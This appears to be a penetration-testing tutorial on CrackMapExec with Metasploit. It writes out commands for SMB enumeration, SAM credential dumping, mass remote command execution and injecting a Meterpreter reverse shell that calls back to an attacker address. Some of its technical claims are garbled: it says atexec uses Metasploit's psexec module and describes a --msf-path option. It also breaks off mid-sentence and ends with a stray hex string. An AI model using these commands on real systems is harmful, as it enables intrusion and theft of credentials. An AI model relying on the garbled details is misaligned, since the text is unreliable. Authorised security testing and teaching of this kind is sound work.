Before we begin, you will need to have CrackMapExec and Metasploit installed on your system. You can download CrackMapExec from its GitHub repository (https://github.com/byt3bl33d3r/CrackMapExec) and follow the installation instructions. You can also install Metasploit from its official website (https://www.metasploit.com/) or use a pre-installed version on a penetration testing distribution such as Kali Linux.
Once you have both tools ready, you can launch CrackMapExec from the terminal by typing cme. You will see a banner and a list of options that you can use with CME. To see the help menu, type cme -h.
The basic syntax of CME is cme [protocol] [target] [options], where protocol is the network protocol to use (such as smb, winrm or mssql), target is the IP address or range of the target network or system, and options are the additional parameters that specify the attack mode, credentials, modules and other settings.
For example, to perform a simple SMB enumeration on a target network with the IP range 192.168.1.0/24, you can use the following command: cme smb 192.168.1.0/24. This will scan the network for SMB hosts and display their information, such as hostname, domain, OS version and architecture.
To perform a credential dumping attack on a target system with the IP address 192.168.1.10, using a username and password combination of admin:password, you can use the following command: cme smb 192.168.1.10 -u admin -p password --sam. This will attempt to authenticate with the target system using the provided credentials and dump the SAM database, which contains the hashed passwords of all local users.
To perform a lateral movement attack on a target network with the IP range 192.168.1.0/24, using a username and password combination of admin:password and a PowerShell command to execute on each system, you can use the following command: cme smb 192.168.1.0/24 -u admin -p password -x "powershell -c 'whoami'". This will attempt to authenticate with each system on the network using the provided credentials and execute the PowerShell command, which will display the current user on each system.
To integrate CrackMapExec with Metasploit, you can use the --exec-method option with the value atexec, which will use the Metasploit module exploit/windows/smb/psexec to execute commands on remote systems. You will also need to specify the path to your Metasploit installation with the --msf-path option.
For example, to perform a remote code execution attack on a target system with the IP address 192.168.1.10, using a username and password combination of admin:password and a Metasploit payload of windows/meterpreter/reverse_tcp that connects back to your system on port 4444, you can use the following command: cme smb 192.168.1.10 -u admin -p password --exec-method atexec --msf-path /usr/share/metasploit-framework/ -M metinject -o LHOST=192.168.1.5 LPORT=4444 PAYLOAD=windows/meterpreter/reverse_tcp. This will attempt to authenticate with the target system using the provided credentials and inject the Metasploit payload into memory using the psexec module.
If successful, you will see a message saying that a new session has been opened in Metasploit. You can then switch to Metasploit by typing msfconsole in another terminal and interact with the
c8f7815bcf